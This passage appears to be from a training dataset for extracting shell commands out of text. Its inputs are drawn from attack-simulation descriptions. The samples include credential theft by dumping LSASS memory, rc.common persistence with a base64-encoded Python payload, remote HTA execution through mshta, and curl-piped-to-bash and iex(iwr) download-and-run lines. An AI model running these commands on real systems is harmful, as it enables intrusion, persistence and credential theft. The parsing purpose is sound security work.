    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The rc.common file can be modified to show a dialog message with this command: sudo echo osascript -e 'tell app \"Finder\" to display dialog \"Hello World\"' >> /etc/rc.common; The rc.common file can be modified by executing this command: filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi\nprintf '%s\\n' '#!/bin/bash' | sudo tee /etc/rc.common\necho \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\\\"\" | sudo tee -a /etc/rc.common\nprintf '%s\\n' 'exit 0' | sudo tee -a /etc/rc.common\nsudo chmod +x /etc/rc.common",
    "output": "{\"command_list\": [\"sudo echo osascript -e 'tell app \\\"Finder\\\" to display dialog \\\"Hello World\\\"' >> /etc/rc.common\\n\", \"filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi\\nprintf '%s\\\\n' '#!/bin/bash' | sudo tee /etc/rc.common\\necho \\\"python3 -c \\\\\\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\\\\\\\"\\\" | sudo tee -a /etc/rc.common\\nprintf '%s\\\\n' 'exit 0' | sudo tee -a /etc/rc.common\\nsudo chmod +x /etc/rc.common\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To dump the memory of lsass.exe for credential theft, you can use the built-in dll by running this command: C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\\lsass-comsvcs.dmp full. A successful execution will create the file $env:TEMP\\lsass-comsvcs.dmp.; Using direct system calls and API unhooking to evade detection, you can dump lsass.exe's memory by executing: \"#{dumpert_exe}\". Upon success, look for the file C:\\\\windows\\\\temp\\\\dumpert.dmp.",
    "output": "{\"command_list\": [\"C:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\windows\\\\System32\\\\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\\\\lsass-comsvcs.dmp full\\n\", \"\\\"#{dumpert_exe}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation fetches and runs a remote HTA file (triggering calc.exe), then cleans up the calculator processes, via this command block: $var =Invoke-WebRequest \"#{hta_url}\"\n$var.content|out-file \"#{temp_file}\"\nmshta \"#{temp_file}\"\nstart-sleep -s 15\nstop-process -name \"calculator\" -Force -ErrorAction Ignore\nstop-process -name \"CalculatorApp\" -Force -ErrorAction Ignore\n; To execute an HTA Application via the JScript script engine while simulating lateral movement, use the following command: Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}",
    "output": "{\"command_list\": [\"$var =Invoke-WebRequest \\\"#{hta_url}\\\"\\n$var.content|out-file \\\"#{temp_file}\\\"\\nmshta \\\"#{temp_file}\\\"\\nstart-sleep -s 15\\nstop-process -name \\\"calculator\\\" -Force -ErrorAction Ignore\\nstop-process -name \\\"CalculatorApp\\\" -Force -ErrorAction Ignore\\n\", \"Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When adversaries avoid creating script files, they might store commands in environment variables like this example: export ART='echo \"Atomic Red Team was here... T1059.004\"'\necho $ART |/bin/sh; An adversary might exploit CI/CD pipelines by creating a malicious utility that suggests installation via piping curl to bash. To demonstrate this risk, first download the script without execution, then run it with bash to see the effects, using the following commands: cd /tmp\ncurl -s #{remote_url} |bash\nls -la /tmp/art.txt",
    "output": "{\"command_list\": [\"export ART='echo \\\"Atomic Red Team was here... T1059.004\\\"'\\necho $ART |/bin/sh\\n\", \"cd /tmp\\ncurl -s #{remote_url} |bash\\nls -la /tmp/art.txt      \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To check the availability of remote desktop services, use the following PowerShell command: Get-Service -Name \"Remote Desktop Services\", \"Remote Desktop Configuration\"; To scan multiple ports and check for listening services, use the following command: nmap -Pn -sV -p #{port_range} #{host}",
    "output": "{\"command_list\": [\"Get-Service -Name \\\"Remote Desktop Services\\\", \\\"Remote Desktop Configuration\\\"\\n\", \"nmap -Pn -sV -p #{port_range} #{host}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For reconnaissance in an Active Directory environment, ransomware actors have been documented using the following command with AdFind tool: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=subnet) #{optional_args}; For reconnaissance purposes, Qakbot typically executes the following set of commands: \"#{recon_commands}\"\n",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" -f (objectcategory=subnet) #{optional_args}\\n\", \"\\\"#{recon_commands}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves removing any previous redcanary.cab file silently, followed by executing this command to copy the file:\ndel %TEMP%\\redcanary.cab >nul 2>&1\n#{Path_replace} \"#{replace_cab}\" %TEMP% /A\n; For copying a UNC file to the target location, execute these commands in order: del %TEMP%\\redcanary.cab >nul 2>&1\n#{Path_replace} #{replace_cab} %TEMP% /A",
    "output": "{\"command_list\": [\"del %TEMP%\\\\redcanary.cab >nul 2>&1\\n#{Path_replace} \\\"#{replace_cab}\\\" %TEMP% /A\\n\", \"del %TEMP%\\\\redcanary.cab >nul 2>&1\\n#{Path_replace} #{replace_cab} %TEMP% /A\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
